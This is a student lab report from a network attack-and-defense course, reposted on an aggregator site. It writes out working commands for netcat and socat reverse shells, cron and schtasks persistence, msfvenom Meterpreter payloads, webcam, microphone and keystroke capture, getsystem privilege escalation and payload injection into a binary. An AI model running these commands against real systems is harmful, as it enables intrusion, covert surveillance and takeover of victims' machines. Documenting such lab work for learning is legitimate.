20222311 2024-2025-1 《网络与系统攻防技术》实验二实验报告

news/2024/10/19 11:52:04

一、实验内容

1.实验目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2.问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?
    (1)下载来源不可靠的文件;
    (2)访问受感染的网站或社交媒体链接;
    (3)插入不明来源的U盘;
    (4)在钓鱼网站上点击不安全的链接。
  • 例举你知道的后门如何启动起来(win及linux)的方式?
    (1)在Windows系统中:利用windows启动项启动后门、利用windows服务启动后门、利用定时任务启动后门等;
    (2)在Linux系统中:利用cron或at等定时任务工具启动后门、利用自启动脚本启动后门、利用利用SSH隧道启动后门、利用反弹Shell启动后门等。
  • Meterpreter有哪些给你映像深刻的功能?
    能获得目标主机的shell、摄像头和麦克风权限、进行截屏并获得键盘记录等,能够窃取大量的隐私数据,网络防护工作真是任重道远。
  • 如何发现自己有系统有没有被安装后门?
    (1)使用杀毒软件进行全盘杀毒扫描;
    (2)使用cmd查看是否有可疑IP在进行外网链接;
    (3)检查系统日志的系统和安全部分,检查是否有可疑程序。

二、实验过程
1.使用netcat获取主机操作Shell,cron启动某项任务
(1)查看主机的ip
首先关闭主机和虚拟机的防火墙,在windows主机上下载ncat程序,并打开cmd,输入ipconfig指令查看主机的IP地址:

(2)使用netcat进行连接并获取shell

  • 虚拟机登入root用户(后续操作需要使用root权限),主机cmd进入ncat所在目录。
  • Win主机输入指令:ncat.exe -l -p 2311(l表示listen,“监听”;p表示port,指定端口,端口号可自行指定)
  • Linux虚机输入指令:nc 172.16.178.98 2311 -e /bin/sh(nc即netcat,后面的参数是要连接的ip和port,-e是指定连接后运行的程序,本例中就是shell。)

    win主机输入ls,若能够正常显示虚拟机下文件名,证明主机已成功获取虚拟机shell。
    (3)通过设置cron使得kali启动定时任务。
  • cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程。注意:windows不能直接使用crontab -e远程编辑,会报错;
  • 我们这里进入虚拟机的虚拟机的root账户,输入crontab -e (执行文字编辑器来设定时程表),选择的是2:/usr/bin/vim.basic;
  • 输入后进入文字编辑器,输入指令30 * * * * /bin/netcat 192.168.31.233 8888 -e /bin/sh (输入自己主机的IP地址,在每小时的第30分钟启动任务)
  • 编辑好后退出文字编辑器,输入crontab -l查看时程表:
  • 同时在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件。
  • 现在回到Windows主机的cmd中进行操作,还是一样与Linux建立连接之后,切换到root模式,输入:
    echo "* * * * * echo "20222311" > /home/wshkali/2311_1.txt" > /var/spool/cron/crontabs/root(每分钟定时执行一次,用“20222311”覆盖文件2311_1.txt)
  • crontab -l (检查时程表)

    进入Linux虚拟机进入对应路径检查2311_1.txt文件,发现修改成功。

    2. 使用socat获取主机操作Shell,任务计划启动
  • Socat与netcat类似,但比起netcat,socat功能更多,比如如建立ssl连接。
  • windows主机:下载socat,cmd进入socat文件夹,输入命令:
    socat.exe tcp-listen:2311 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口2311,并把cmd.exe的stderr重定向到stdout)
  • Linux虚拟机:进入root用户,输入命令:
    socat - tcp:192.168.1.110:2311

  • 回到主机,我们需要事先准备一个程序以供运行,在此省略程序编写环节
  • 在Linux上启用Windows的程序,通过命令行创建任务计划,在shell里输入命令:schtasks /create /sc minute /mo 1 /tn "20222311" /tr C:\Users\Petrichor\Desktop\20222311.exe每一分钟执行一次我写的这个程序:)
  • 回到windows主机,打开计算机管理,看到正在运行的任务名“20222311”,说明实验成功。

3.在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell

  • 保证windows的实时保护处于关闭状态,同时关闭防火墙进行实验。


(1)生成后门文件

  • 首先在kali中输入ifconfig,获得虚拟机的IP地址:
  • 虚拟机的IP地址是192.168.1.111
  • 继续中输入以下命令:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=2311 -f exe > 2311backdoor.exe(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中。)
  • LHOST=192.168.1.111是shell 连接的主机 IP 地址,在本实验中是虚拟机的IP地址;
  • LPORT=2311是攻击者的系统上监听的端口号;
  • -f exe指定了生成的 payload 的格式,这里是exe;
  • 2311backdoor.exe即生成的恶意可执行文件(名称自拟)

(2)将后门文件传输至目标主机

  • 主机进入ncat所在目录下,输入指令:
    ncat.exe -lv 2311 > "C:\Users\Petrichor\Desktop\2311backdoor.exe"(监听2311窗口等待接收可执行文件2311backdoor.exe,并将2311backdoor.exe文件存放在桌面上)
  • 虚拟机上输入指令:
    nc 192.168.1.110 2311 < 2311backdoor.exe(将生成的后门文件2311backdoor.exe传给主机)
  • Win主机接收到后门文件2221backdoor.exe,成功在桌面找到文件

(3)配置监听模块

  • 回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:
  • use exploit/multi/handler(使用监听模块,设置payload)
  • set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
  • set LHOST 192.168.1.111 (攻击机的IP地址,和生成后门程序时指定的IP相同)
  • set LPORT 2311(监听的端口)
  • 接着输入exploit,使监听模块开始运行,并在Windows终端运行后门2311backdoor.exe文件

  • 返回检查虚拟机,输入ls查看windows主机目录,确认已经连接。

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(1)获取目标主机音频、截屏、摄像头、键盘记录

  • 在exploit模块中继续输入以下命令:
    record_mic   (音频)
    screenshot   (截屏)
    webcam_snap (拍照)
    keyscan_start (开始读取键盘记录)
    keyscan_dump (读取键盘记录结束)


  • 音频截屏和拍照被保存在root文档中,键盘记录的字符串将直接显示在命令栏上

(2)提权

  • 确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:
    getuid (查看当前用户)
    getsystem (提权指令)

5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 在kali命令行下输入:
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.111
    LPORT=2311 -x /home/wshkali/Desktop/pwn20222311-1 -f elf > 20222311_pwn
    (使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 20222311_pwn的文件中。)
  • 对生成的20222311_pwn文件赋予权限:
  • 输入指令msfconsole,重现监听过程:

  • 打开另一个shell,运行生成的20222311_pwn文件(需要使用root权限)
  • 回到第一个shell,输入ls确认连接,成功实现远程控制shell

三、实验中遇到的问题及解决办法

  • 问题1:在使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell时,我用root权限输入输入:
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.111
    LPORT=2311 -x /home/wshkali/Desktop/pwn20222311-1 -f elf > 20222311_pwn
    这个代码,其生成的20222311_pwn文件在root文件夹中,导致我后续打开这个文件的操作报错。
    解决方法:我重新在kali命令行下运行了这个代码,实验得以成功
  • 问题2:一开始我在window上使用nc -l -p 2311这个代码报错

    解决方法:我改进了代码,使用ncat.exe -l -p 2311得以成功运行
  • 问题3:socat实验中在Windows机cmd端schtasks /create /sc minute /mo 1 /tn "20222311" /tr C:\Users\Petrichor\Desktop\20222311.exe运行错误
    解决方法:格式错误,每个指令(如/create,/mo 1等)前都需要附带空格键。修改后得以成功

四、实验体会

  • 在这次网络安全实验中,我深刻体会到了网络安全的重要性和复杂性。通过实践,我学习了Linux下的cron作业调度器,这让我了解到了如何自动化执行日常任务,比如定期备份数据和更新系统。这种自动化不仅提高了效率,也增强了系统的安全性。
  • 我还学习了netcat和socat这两个网络工具的使用,它们在网络通信和调试中扮演着重要角色。通过这些工具,我能够更好地理解网络数据的传输和处理过程,这对于维护网络的稳定性和安全性至关重要。
  • 此外,通过模拟恶意软件的分析和防御,我提高了对潜在网络威胁的认识。我学会了如何使用各种工具来检测和防御这些威胁,这对于保护我们的数字资产至关重要。
  • 最后,通过学习缓冲区溢出和Shellcode的注入,我更加明白了这些高级攻击手段的工作原理。虽然这些技术在网络安全领域有着重要的应用,但它们也应该被用于防御,而不是攻击。
  • 总的来说,这次实验不仅提高了我的技术技能,也加深了我对网络安全重要性的理解。我认识到,作为一名网络空间安全专业的学生,我们有责任使用这些技能来保护网络环境,而不是滥用它们。网络安全是一个不断发展的领域,我们需要不断学习和适应新的威胁和挑战。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/73392.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

2024-2025-1 20241407《计算机基础与程序设计》第四周学习总结

这个作业属于哪个课程 2024-2025-1-计算机基础与程序设计这个作业要求在哪里 2024-2025-1计算机基础与程序设计第四周作业这个作业的目标 学习门电路,组合电路,逻辑电路,冯诺依曼结构,CPU,内存,IO管理,嵌入式系统,并行结构,物理安全作业正文 https://www.cnblogs.com/…

并发请求太多,服务器崩溃了?试试使用 ASP.NET Core Web API 操作筛选器对请求进行限流

请求限流(Rate Limiting)主要是一种用于控制客户端对服务器的请求频率的机制。其目的是限制客户端在一定时间内可以发送的请求数量,保护服务器免受过多请求的影响,确保系统的稳定性和可靠性。本文主要讲述 ASP.NET Core Web API 如何使用操作筛选器对请求进行限流前言 请求…

10.18 J 组模拟赛*2

上午 “J”组模拟赛 T1:一维围棋 题面 赛时:100 很简单的一道入门题,注意特判int n;char a[105];void init(){cin >> n;for (int i = 1; i <= n; i++)cin >> a[i];int mx = 0;for (int i = 1; i <= n; i++){if (a[i] == .){int lb = 0, rb = 0;for (int j …

AI人员打闹监测识别系统

AI人员打闹监测识别系统通过在校园、工厂和监狱场景部署高清摄像设备,AI人员打闹监测识别系统采集相关视频图像,并通过人工智能视觉算法对图像进行分析和识别。AI人员打闹监测识别系统能够准确判断出是否有人员进行打闹行为,包括学生打闹和工厂或监狱场景中的人员打架斗殴等…

强化学习的数学原理-01基本概念

state:\(The \quad status \quad of \quad agent \quad with \quad respect \quad to \quad the \quad environment\) (agent 相对于环境的状态) 对于下面的网格地图来说:\(state\)就相当于$ location $,用 \(s_1、s_2、...、s_9\)来表示state space:\(The \quad set…

煤矿监管电子封条

煤矿监管电子封条系统通过视频监控和图像分析技术,煤矿监管电子封条能够实时监测矿井各个关键位置的情况。当有人员进出或人数发生变化时,煤矿监管电子封条能够自动识别,并记录下相关信息。同时,煤矿监管电子封条还能够监测设备的开停情况,及时发现异常和故障,以便及时处…

keil 快捷键设置,开发加速的小技巧(个人设置)

点击扳手,选择shortcut key进入快捷键设置页面跳到上一个光标的位置跳到下一个光标的位置跳转到定义(没办法实现组合鼠标按键,F12又太远,不过和QQ的截图热键冲突,需要修改QQ的快捷键,各有取舍吧)跳转到声明

每隔一段时间后第一次请求耗时特别长

同一个接口连续请求耗时都是毫秒级别的,当一段时间不请求后会变成秒级别,通过日志跟踪发现业务出处理的时间是毫秒级别的,怀疑是过滤器或者是容器的问题,通过IDEA 远程debug 发现经过一段时间不使用再次请求接口,会寻找 com.mysql.jdbc.MySQLConnection类,猜测是tomcat 丢…